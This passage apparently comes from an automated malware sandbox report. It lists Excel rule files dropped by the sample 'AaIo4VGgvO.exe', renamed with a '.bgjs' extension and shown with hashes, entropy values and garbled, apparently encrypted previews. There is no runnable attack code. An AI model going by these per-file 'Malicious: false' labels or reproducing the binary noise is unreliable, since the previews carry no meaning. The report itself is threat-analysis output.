..&...p.bP.y6;.~.%.x}%S1.>....K"(=..^.O-a.}.....1...w.`SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.655496903533882
Encrypted:	false
SSDEEP:	12:M8ELtd1/cf0DlNOQ9mpNamLdNrY5rvjGRHkV1zZuwd6g/hDY/zrrZkRtzTPFY6Xl:M8UW82Q9m2mQjCA1zZuG6+Y/zJ0uLz6f
MD5:	6E1744851439388FA85B70AB11C01A30
SHA1:	35A972021F24A3AD704C281C9D74EE92DCFBA8B3
SHA-256:	9DA9AD959093E94A5241797C7500A535463EF9E83C66E5F60487F1437E494055
SHA-512:	3C3CD64552E5BA376CEDF0D54B844D964869D987EEE42DA1E4B94CDE1AF1EFA2BEBEA477851F50A4D893F17E42181AD94505A6CBED0C4473AB5C6CBC428CFBBC
Malicious:	false
Preview:	<?xml.x..\....aV.3[.,.P...).$...Y^/.#i]..s.....Cni...H....Y.Ko[..Y. mQ.\|..y8...'..R.@.x.e9......."...k./3..Ta.].(..m...@$....O.HNR)4...]3..&..)Z..b+..4..}......4.<.=...].bP4.:7..K.f..t..b...i.....">...@.}..l'..2..me0%.]Z....D..$...C.%{.q.b.i..\x.`S.y...(...>.(6gH(.L..x.r45.6DV.(7.]...Ic".'.....>.%[(.`..9.L.0.....N}FljA\|.So...%S.Y.W.Yk.4KsE......3..Jz....f.d..."..]Lt.0wuC8....\...+A...F..;.M..;..C..~.@+^..<.z/Wq;..[#...`.r.B..Syd.\N.D.!ae".P..........at...!8.....V.Y...0..XNEN.~.}..E.o..mK.........)cC......")S.B5.~N>.N..._^.. .r....n4........Q...."..H../.&n@....G;....x.~.7..]P..46(..#,]?...J.:_.j.....u./....*.p..j)..I.&......#.H.&..t.^.e..&.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.720302400925505
Encrypted:	false
SSDEEP:	12:lOp96JxAWbfmdEPoHqmZJPz6qWy1c5o0JxamXu3mK75rVHz2eHk49Pz1+cii9a:lRbfmdEPoe1Mc5fvUT5hieJPAbD
MD5:	9D016773EA469C03C86B4F191465127A
SHA1:	DE820CDF68738153A0B3B46A9EBADCC6730A6052
SHA-256:	60622CF1C7E0B86AAF58DEC223B6A548B873298334266811A649EA658DB57FF0
SHA-512:	EC149590E68F4411667DB885413423A9525EB91E7C2BC8FEF52CC39321E488B8E234F4466F58491626675205C585707E8FFB8D4B08FFA2712F66A734A2206C12
Malicious:	false
Preview:	<?xml.<..Y.@v<x.%...o..iMZ.2....1b)..........I.X...3..../.b%..U.WX$e$9.....k.KH...j..<k..)..g..gT..l...0F.3u..}G..&{%1.I....R..w.....Y..D.....-<.........c.._}....w.....x..C...Py?..'....x..M.7f.i.O%..e!x.hi.#ri....C..j.L.O.?...p....eQ..85f.+...:J.4..Wsp.3.o._..-x..iLJ.0....V.Ex..j.lI.......[..2....c..i....,V.NP.S...K.G.X3@.?.....2...S8.].....T........7/.......q5.\|G.C.....i[t.6NL7...r.a.N.Mjl>4.s.#.\.@....E.8.%.o%.+2.. .A4....E=....Z.......`h.d......`.)...9q.....M!...m.. .'..'..=j.J..z..;x......f:GO\....TW:. D...f..B[DO.......~O...b.A..%........%.F.....8.....sW.R...IP...}....s=...~S.q[..a....D....Z&.J..@B.....`...-...L....K).K.f.,........5>.F...n....oSN3.....7..].L\|.a.5.0.._c..c..2nkSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.716459181077543
Encrypted:	false
SSDEEP:	12:USOsmB7FZTNsjSJvbNFHSrFO60r1nez8s/gmeaR6R6z7mePvvUM2/gkMQ9jS9VXp:USOVNNNFrx1nel4m427mEkFgkMQ9jSf5
MD5:	3675A861E68AE68482C9ADD2F6E40D54
SHA1:	A8388CDEB6AAD691EC86617093B91538467138AA
SHA-256:	0FF5E8D0E501A54708FAFCAF94DE406053A7E904ED3513C0E179E4703B376F69
SHA-512:	93AD49E2FD510E5C04A34A4C43B75F37307648CFE25EEF091D30F13CF399E8798D0F6EE81A78CCF257986585D6EFD47455453494B96FFDEF3444FFC8FB528496
Malicious:	false
Preview:	<?xml$....S.II..,k..#g,x..p.E..Pr.....\|...O.`.s>r2..h.Z....RI".y7A.....(3......[...i.....f......\.52j....FL..F.k.=.=.h..u.D...b@..M]..j\....Sm..8.b..#W_..._a.f.......r.....g......4w..g?..X...c....=>+$...a..uhR....`Z...n..}"8.......J.v.....l..t....\...u.N..x..X..5.G6...Z...e?...I_..I).......I....{h...l..X....4(.i9..Y.]...A....z"..Nd.L.+5..R.W.8.!iL.....L...APG..$..o-b......N.5P.7.......5.q..r.L?..Hw.(.......4+.r^..s...A....:...-.......C.n.6.....W9eX'. >....C.VV'..).Q..q.-.U.]<Z.....n7.Q!......9..*\{^...k...:...5...f...B....?U.:...F&!iY..&.f...Y$.7.. .R.H-...._.hg..cNM...W...>.G.m.......(2.6....w.9!...d...I.....[a.0...e.....j...,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.73476413205682
Encrypted:	false
SSDEEP:	24:M4bsR8FcFiBMCAjks4ETWTmimFy7/5pLbD:XblqiBMCAIuAyaPvD
MD5:	2ABE8A260F0FB2224E2677184B0C1753
SHA1:	B766AED57DCE831A812B6D287E4BEC9BD0201882
SHA-256:	F349C083447D7178B6E1967DE36AA3E47D747337F6BAA4EDDCA7A414E5FC4AFE
SHA-512:	80D5936563F2C1CF3C637CE472A56B735B61C0F4BD8D322D0B029E4EC44C98A709E00F8CA1A17C57E5780C5B8DBA2D70838AB3A5E7F48BFF88B7C998D9702268
Malicious:	false
Preview:	<?xml.].}.e.J..E...O...d..Z.!.M..e..U.8.r#..M._..........h1...m..R?..G.8.\.u...M......q.!T.f.?._...u...vP5@'i...#G.....p...R..$..e...W..+..1wa..A.c&~/../...9....-..'..px(0.Pu.......R5k......;wT..#".....\2....o.....R.....R.$...B.+.k$l/....CZ..-0..,.h.,r9.......>..XC.<........ ....ej:..........AG.....sZ....S.!.MG...].....q;&....o.C.Pq7l.......J.+......1e......\|.k!.R...4...,....b..~...q.6....mY..'7.@....D....P..E...6Bj.(,R..;.nv....M....[.u,..x....V.>...j....Px..F..we!.R..gYZ.<D>.._Pdu5...j......[..c.%G.m.@....d..6.E....,.#.....'.\k.{....0"...0`..?h&MJ.6[.....Q.U.s.7.[.zt.y).z@>b...M.:..6e.Z...k.:n.......uE0..._.g8ho$`O..B..J<4....}s.....A]..C.u#O..b.,F?A.)\|....O.. ..Cy..[.S-FN....ijz.Q.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.702462225514478
Encrypted:	false
SSDEEP:	12:Zy3l/OUQixypqMXsDuOf/Qh5t/bJxT+9azV2oRL6imBN0PZMYJwH1+cii9a:ZuEUQiMpqEpNN/fi6HRL30UbD
MD5:	5C5F652087861E46E36C3C94118C0E9F
SHA1:	C2464A398494AAB424482B50013FAD464D1FB6DD
SHA-256:	D7E36E36708CF2B2F80083DA1F16F693549C12EB2FA4E3B0E032922414591928
SHA-512:	582F097AA0AB188E98434BB035843B4D3C9294275790F50D0A6D967C8CA39C5C1F1F449EDBAEEA5E5E932EF6BB606F285F778DDB8C69F03907A8053D024470EF
Malicious:	false
Preview:	<?xml...@m.}...x.l....A.....[Q.{\|.Vh~Lp..Z2J..<r...u.".....r.= ;.e.t.&..\|uT=N...kb...d3.7-<..F..\|..;&.a/=..Qx.~......'...?..).......?.e..F..3....C,...%..b....L..\\|y.b..].R.}...Y..p.K.m.G.....\|..0...k_L.2Y...s.w.~..I....]..M.4mW^A{.%...B:..\|...&......#...:.D........i....8.\.@.^.E.M.b..j...~....Q.}\|.DM.[..M%....3....f.l...W....."....I,..3.3@.l.0...]..({.....~.T...C....nBX)<%...}..\....S"Q...Z..l........#...>.......4R..,0x... Q........I...........sS...~......3...Y..t.5,.sE...Gz.6A..R2oJ$.......O..k#.}@?....<.2B.0.b..7H.... ...'<.?(w..0.V.'..s.x....'.S..s.p.Jyn.o...j....V..........b..O.f.j~..5...ww .R9.(...h..c..(...6..0..<C...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.708293187686154
Encrypted:	false
SSDEEP:	24:QTyNqnUmlM9tEQrTGLb7YRFfPz5flzr7jbD:QGpEz7Y/TH3D
MD5:	5E66955A172354764BCA4879EABAD158
SHA1:	C8317AB422ABBA8E795657DFC959CC4CDDF64951
SHA-256:	B52E0B66F67F573ECD77004930A80AD371A8DCFC117D78D463BB2E44B630CD3E
SHA-512:	8C701C827D30AF867011CD66B757FD84944DD332293DC700B20BFAD81E899530325D1BD946A1ACE9F0E05962AB9EB3B72E1190FB3BCC66891481825D2FFB3DA0
Malicious:	false
Preview:	<?xml-....U_.&...@....\|...Oq....5.4v..!.........{.;.....Mxv.O..H....v.......}...w.W.X..."O.../M.\|f....B..x..w.pm4P..U...8O...G.kI.'k..............np.F~.rF.z.....1.I(...........m.1V4.x....N.....yE.4?..7....&...I..),.;1.:.v.#....,=...oK.:....n^.!.yO.w..R :..m.....c.s.Y.(.TzB23.^X"...a.bbW/.G.5....3P[.A.B_..oV..B..)....Fh......."...?........E2.@K...R......x..p.:...C......-.......T.. ..H..S.Pp.n@(....Z....2.g.FT.M>..v..5..)..6.p:....S...V..J.......j(.L.K.....S...?[....U..=6.e...\|...8J[M.....>._....@$......g@...O.k...>...M.\|.?...-,Og...Nk!I..5.mpY..5=.-b.,.....V ..D#...{=c..r.'...z....x...W'.D.C...Y.1eb.........Zf!.......;.........\|Z{.S.7..0............s...Y...1....o.I.38. .'.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.720632211527823
Encrypted:	false
SSDEEP:	24:W6xKEYFbNHSA/L3fv++h1YQxGMJQXrxsxCgV+/Ah0uoDbD:b0EstS+L3XVuXCxCgVeAibXD
MD5:	20A0313C89C4122E696351AF66CF1DC0
SHA1:	F2FECEE9B07B0EB35AFF9A7551A526155DFAFCBA
SHA-256:	FC1B03AF998CC4F20DD963F6CCDB3D2ACB113AEAAFB26FD3271A89EF387DC8C8
SHA-512:	82E81C810A55A109AF76A1743038E9E7A1AA41998310A72CA35C1389804C95563B37C86A94F13A97C9E61462F3D19F7F4EF1F4BCE6E1579C7960E92E88084C00
Malicious:	false
Preview:	<?xml?.. ...G..x...m.B......[:/.U.v.0....H.{V.2..98O......dp:s.;....._.../.\|...X.,+..&......a..l.f..6.....f.0qC+d.o1".....Y..C.X^.Z..}.......\....E.6/...dZ%...Ka.D.x..hV.K5..z.f.pj..l=.O.....j."......s.oPg?xm..&..39..Y.F;...U...}+....\|F...6..".4..:..E'.].....E.p......(.. ..#......[v.@._I..i..y..u..f....'......7c.m>.........R.$t..5..%4.....yU....<..p4.r..(..qN.&....6Y..qL.....t....f......P2p7..1....`..Y..../.....jy)..[F..-..-.......?.,..$.+:.uA.w.b..x...E.:..-".....].A4.......Vu....&:.......<>..{.)...@WQ7:...f.S....5..n.IG6.T.*.S...?..:\.4-...U...!65..x.o.....}})..6.a..t..ZC..z.d...b..?Dg..]Jw..~Uf.K+s...CW..,s.....9jxd..C).....}....0i......#..j.].y^..........=7"3..Ii.\.)..=$T.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.696765591846511
Encrypted:	false
SSDEEP:	24:NvvNWV6iIu63J5HPQAsg8YrNkE97eS+dUJlG31h0bD:NvvW6ih63P/8YrNkTSM53jeD
MD5:	6F7C25DB722855D229938CC5B1B4A5BE
SHA1:	ACD0C7DA767C5EF21E49C293A731794DC0C5AC2F
SHA-256:	91242CE6E86CBC75B14CD2B7CD46CE517CD2CCF1CF3C7AE7C1A58DD7C0EB02BD
SHA-512:	A29EA8BA5B8C2C5AD4E51D929C40B6C827C393DC0E9B5F4F65496F471F706F9763BC3AE58272884F5D431925173668FD2F3DA4D3C4DA6BFAEE36A2F41CA6F38C
Malicious:	false
Preview:	<?xml.Z....K...vR...7...Y....=n.....J`.i.k...$qO.?.........8.3...q.....'.....).hf.ZX.f....oF].El.N...G&V+.?.1.....D.!......L5...T.....1,.$.Lc........i .2{l].K:z.......!.2.q.....~..j...m^...#..{.X...U+.Z.(.<...4..A.zD.0?.h.bL..Z.B@{Fm..E.F. d..vZ..d...FY.]]^.F.&.Okj.W...c...s..V}<\.5.P.A..^jd.N6.T>Cj...p.............Z.#xJ...5%ER.....q...\.:......[W.H..V.._.....r....\!..Q...a.mbE..J.(.bA.....9.`.$.l....S..!?.f,c.e.... C.......k....5. .?L...B...BI....u...e^e8gXN-.L........iS=....e.H0.^..@.k.,. ..'._./\|..^.?\......-....#?.fT .#+...E...R.38.E.{..R..r.Vc.}..r....L.......'.O.V...!..3-.6<....F1....Y._..4.... .X..2e.N.u.F.rE..P01..FC...........)Zg v...-.#F1^2.o.6..5U..u/..cJ>....~.O...0.m.....(...h.A..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.715179244179442
Encrypted:	false
SSDEEP:	12:EMEUO3BR62+xDtyaphTwb4jaCG6VKCSvKai+5ibHiA6CSbcw/H1+cii9a:ViAJxjTs4jxG6VxPp46HikIUbD
MD5:	AA43F149B3347674CF613229CCC7383E
SHA1:	1AF3AFAAC6DAC2D5CC80C5D1665A079C772B7580
SHA-256:	F861E786031D8D9499D11DC9159540747C4465203109FA531F171AA53C9171DB
SHA-512:	45FDAC8FC3CBE0E8A476FEF58CD18782573F3F2056C17433A10CBA144AC9021DDFA81A765BBCC337EA71E54B90063D2D86184165C2E4C011D22FFA276A1A579B
Malicious:	false
Preview:	<?xml...._-.^.@).O...Z..to.'q3s..#.#.I._=~.x.......ZACN...?.......h..NR..d...K...r^&....B+.o....q.@....._.g.T..),hm...`..._.....0e.........S..Dth?JT....T......v.![..O..EO.>.W...1....t^a..z#...z...}.Zk.IB5..}U.v....-...9...C.J5c.....J1..'4.. >.8....+.oK}@.o<....d..$7...Ex.....e...Aa`/v.P.~n.......1dw-......x\|.......,kiboO-.R ?.t.s...RB.w...JK..s...:>..T....O..(...WF.....n.....A..6.Y4..~.L...,-@G... E.ShA.....3.".h7.v.8!.'^.b.T.0...b..X..{.Y...`..th..G..'A.M......m6. X.v._k<...t..g..$...e......?...=....h.W....R.6\~X%....Fm...-}......l.I....hFLT.!..KID..Q.8\u..x.{.vyQ...;...wH......%<..&.....Y5(+...=.......}...rf3.S..@...!.h.9..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.72104158423095
Encrypted:	false
SSDEEP:	12:8MDKUXhiUgGo1X/ZipLhFKdPwTRcajJs16FyvvI7003enJvQ3ga9wzjKO2icHs14:3DyxZiFKduVmlF0uJvQ3ga2KNZbD
MD5:	C86C9B6B94CCB2B6CDC5F67E78A514C7
SHA1:	A73FFB7AA5E9E26E48437F40D07E4D45E93AB217
SHA-256:	8BE3C384E6539EE0987D2A333E767713773BF82B416AD6AFC604E1188120D516
SHA-512:	F499C8A624F183E99419114D7EB5850A19DB73D8D08198AE0331B296DDD29367FBF05ADBCD6FCF8C95CCCF90CE1C99556A54C268A35DEAC174563C0B31D4A464
Malicious:	false
Preview:	<?xml........~.p..i.).U.T...pyoN<;.u...M.xP.R....c.........12D..x.+..95.u;2....zk+\.ud.....]?.PzE.[.^i.+]..Z.0.....-.7[.2..O...H...3......:..3.@%..kd.Y.IA_.>...^e.b......_X......w...boS.....(..5....=....&GUd.6A.,Bn.>1V.I..2q.H..../..!$.......,l+.{.....b.K..l..H...e8Nzzj...i.7%]f...gxMe-.>...UTlUm....b_..3l.y..y..'&.JP..V.d..A.mx..e.W_.....1./.E<....].;.E..w.r..........:.8...I"...a+.&.Pd......My.<wI..].....i{b.......V.g3.[3l..8...9...p...a...>.5..f.....f .i.(......}'.`.....bu..3..W.L .?tS..o `.>wh%...{..h.....y..r.i{.....wE..H.Q<...j_..U...[.5.1....@.1%7.D.X..LBp...-...d9...G.Xs7<*.M..q.d...#..S..IUy3.[.i.....n.2R.s.%..D.u./..0H.....m..Q..3/.z...2G...c...sf.....:o..t.....`71..;"...?t..@.ySLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.712750341323938
Encrypted:	false
SSDEEP:	12:nfXMoSZwtYhXAimtpOl5/gfT8ycv8T+lV2REa7wnsaT1P2a0CuDlcdVSB0s9S1+X:fM3Zw8DaIIIy08T+3gEasnsos5s60sLX
MD5:	BF4D40BD20C95A638D9D347EB2B28CAC
SHA1:	49DE44BA0CA6B2C9CC45FA693A390976B5EE801F
SHA-256:	4449AD04510F519E56F9B827484A556D302DF81045A9D7144638F3470ADB1654
SHA-512:	0BFF6F389EA8B025DBE34DE979F30DA39579EFDC3E60250FF86A624739B540A7141FC4FEA86223D943195001409B4358262E8C4D9341B80F6154A010D080C53D
Malicious:	false
Preview:	<?xml..H...1..}:t..a.M.{..dd.......q. ...+.e.@Y.HTd..........d.#...E..J}.#.N.z.q.'%.8D.12C:.G.,)......\z..@.l....v..x.._i..k..........6!..,.>..{......bf.7.....Cy.].+I/..8.tU.{N[p...&n.....n.....\|w.\|...'.m.]\5..I.<..a.5...a..H.C......>.6.(..=?...;=.9H%..}..(u%.L.2.k{b.?..Y..y.h..ZC.......y..)e0".U../...T...XD..Q....=v...l0&.R5r.q%.....{R...T.I..tK...].....W./.x..\Tk.%....?;LE.&...y...#.)i.4....@......N..... .`N..c\|X.L.....Ze.W.8..4?..s.\./5PN.9-.../.K.....LR..x....:").5..b...(.LcS.rt@...~.@....o$.w...k~...V.SY..........)...ux8.'.@.4.(.rh....V .....ZF..!..4.c...s..^.911...>.....7.esZ.0.F.ce..\|.+#.....p.....N........UX.^.<....m....y.%...@..^.&\|..QSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.744645278536303
Encrypted:	false
SSDEEP:	12:8zIKURBtJEvnVqGsbrATHBwc3HbG39YibCndmcSNiKgble1Q1oD1RnCrw6sGO1+X:8YBr/GsbgHTgAYlDw81RnCrw6sGFbD
MD5:	38B45CEE82B1B1FBE55E29D1E314E863
SHA1:	AB0436DC5804B203600F052AEB3153125BF319AE
SHA-256:	6A9CD1E63B83684838FB6FED00CAB6386018D894B73BA4828F9AB2BBF836D314
SHA-512:	5E9AD0B456F528AA7763757056A8D9A7A370A2896C821F765D9CB3F30ECCF35AA2163B41167B89A5B2EBD919A5F6767C52154DAD435FAEC90E9B8D583A226994
Malicious:	false
Preview:	<?xml..C.y.b.C.s.j...OS.-i.~B..J*...W...ca.X...u...5....>d....;.(..l...H.<.b.....N.^a/../R....r....B.a.....JT.........E....N">-#\.....)..i....... V.K.a9V.g+....w.j=9...j...B).....noj.#Y).{i:..GvR...xC..f:\|..~......K...b.eV..v..^]u.cA...&P.H./.D=.,.h....4.W.-"..X"..Gd.....3..#.fXu.qrb.YW8....g.".$........a.0.`.3.y.&...Qm...'b[(...VK.h......[.G.y.@.(#.....`.7A.....7.D...0b...).<R2.....:...9...T..../.k.bgv.......3m.<..m.}....Z4.}..h.%.l]...0..T..u.YU..h....V...?.zP.v.k..:.T.B.....>.SLls............ ..{2.A..K4 ..]X...%em8.+g"..,.....e\.s...U'...R.@N]z.....aj.l.P..gE..0...T,.Q...+..Fn.{%.>..$.0...M....Ds.eo.<z.b.LS.....Zhe.:@....H...X...>R.$...Y(..q..K..ND,<#u.....C....f4?..R..,....s.(t.!.N...".'..V..[.x...O.e.J..T.....0. ...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.778278796540975
Encrypted:	false
SSDEEP:	12:fCaY0f+4CbVU7lBczHl9W79XhvnG41bW3Pga16+xuSMR9aBuTIG1i/GcH1+cii9a:1Rf+4UyJ+ga16NSmEobD
MD5:	30D8D456C29E13ABEDFFB90237E95C84
SHA1:	41213B7DB5F926362942391C0A947EFA5F55A6C9
SHA-256:	E961399F6D656936EE82887A6BD770E4FCACB0F9C57413EA5C5C29565B01DC4F
SHA-512:	640B190D6AA10151FF1AFED48CF18042BC27E3099569ADF2C69B8BA2F5D8CB69A07FE506D3902304B473FA0DCA409CD79721DD90F2DCD48B2914E58CA4FB0B60
Malicious:	false
Preview:	<?xml$u.k.....@.3Qf......E.js._.F..0~....~.6.....To'$..mW.G.O1>wX.bx_...c...5...:.A4......#........C.b?...P+..K.D.I.aw/...:T.f...,....k.........z#...=....C9...V\....2....Tr^.}%...A.Rj......f@a...r-..y..."..8./.}.$..;.4...{=..H.V..]5.r.;Z....A.k..j....H..+....Wn.#.M.;...S...[.n....$..\|`'..........$.n/.).e-<....YH....q.y.s!.f9....Ps....z......z?..e[....B.{.1{......L...c.....`..)..."g.......~......mg.....r.&....ZG..'.{..1.B.z...Q0;d...t...).r~........j........e..c.....K.A..._...."..G.@...i....?......N.O7..f.1...E...G..:..ku...b.I..'...^n2..W:.P#.(....WO...x.H.T...L....p]......~.\|...vY..].;..J.B.(4.J..\..4M.l)\|SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.75856417906682
Encrypted:	false
SSDEEP:	24:W4LTCqZdOLcMJWdlrP4PbmCY5AuKKYdHMPnapibD:YqiLRWzPwmCY5AuKtdHuKwD
MD5:	79E82411CA763A4D531B0305CB1D6359
SHA1:	C0953E3B953FC82C52FBE1C9DCCC6B3DFBF4E9E9
SHA-256:	04EA2D572FEB85355893F4D3FF813C82745A2DD95A8282D45F36721D5826D1EC
SHA-512:	3293627C618F00C60C884ACB68769606B69334577E4F74AE1E4D2BE30AC7BA17E5BDAE3ED10182EA7F271F5D4BECB3F204DECFA4DA571743843386A15A693606
Malicious:	false
Preview:	<?xml..Z.....x...?......\...^x`#.o....i9.A...u.&...Mqu..,#...-=..X.t.T..ish...9....j.Q..l.....%kc.....0m~..]..g...c..k]\|.k....6.v..zj_gq.....DY...z.6...v..................#..p.I,h.q..ja.....pA.j..5...&b.H...8.....T.......C..;.D..%RY.....o....a.3.`.:.r(..]L..}M^S%@.u....H?..Y...W,N.:.4A...f.`...f....~.YR3W.%..S>...:...,..].V...^7...M....Y\..m......[m.L.*d..Y.W..w...b..F...<.'O$........I.C@...p.&B.O..D......7.EA.Q...q3.@.O..}Y.4.4.....5...Q.Q@.).Y.^]._..k.....@..#.w.X.D.Q.......g../Lg..-.r.._.A......../T..a.C:.....i..B]..g.RBy.l..9...y....J02..... T.t..q...L.w..(Xvb..8....U.1!.!.z............M..h...w..L...P.2.m...Z.....0=.......wn..R....N...w...D.pdRV..C....vGp..J...P..0.=$.A...OSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.685911393847046
Encrypted:	false
SSDEEP:	12:4xDh94WgKpsBrbcomgUDwIeTPTPJqUwYLbOXc0FuWMOiEDr4zOlYgHiCvf1+ciik:45z4WgKpibcomgLFT7x2M0cAr4zOlqCG
MD5:	07A320F21C890E56F195AEFE60F18996
SHA1:	E7F977C6EAF11F53CA91144491D04899B04C6D39
SHA-256:	A3EBFDA7A4560CE9DE1A21FBD3BBB1DF33BA4008C202595E063A2BA58EDBD40E
SHA-512:	62AA8CDCC4A7A38A33BA061314605E49059474701127207C07C725E58F4BE88C578BB53BEC29A084D82924986F655B58A94ACEA516B566DC801C1D3A73E57B57
Malicious:	false
Preview:	<?xmlGm...5.?x.,.3..Yw.......`d.....!h.~UR.....Rt:...oo.t#2...c..6...H.,Omb....X.IP^..x++j0.>H..~.y..rt,?...x7...J.%...b.......W.o....t...3......NP{.t6h....s..xs....G~..(.}..6....5..D....v.#....2{8.~...F...X.":A...\|Jgw..Z..E..,e...j..XK.~9....[.....h...k`.0wcFl....%.J... .@.S...\|U.).n.H4L...b......U{...b.p.4..+V$G...\.[.>i#5..a...6....s.~...bs.rv+nK.....k.&W.?4...4.....b.~....:x0.m...._G.yI.=..PC.)."?f.....&.xiFa5..\.%F..s.qO..l..."..w.B}......>....e.C...b...]e..vOr..4K.....'...5..{..<D...}..E..q..%....8.'H0.....a..ke........a.X..Ti8....P(....b.W.G....:..~$e,..-U..zG..4'...h...E)....B...\|.l..\..d......w1.7..mH.Y'..U,p.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.713400854808474
Encrypted:	false
SSDEEP:	12:UHHvYx0dncwvimatnSAlMDQ0EFvZiJaRstZBORm64QXA/cqo1+cii9a:0PYxEcznSACDXEFQVtr7T08bD
MD5:	59A6C16FDFBA7A629E85B085A1F90E65
SHA1:	895CB8E4CA27942E37AB4B0D7169148F3C62EE8C
SHA-256:	ED3538A55EDADF9A50543105B556A52CF73E3AB13557B066C1487BE24FEA77EE
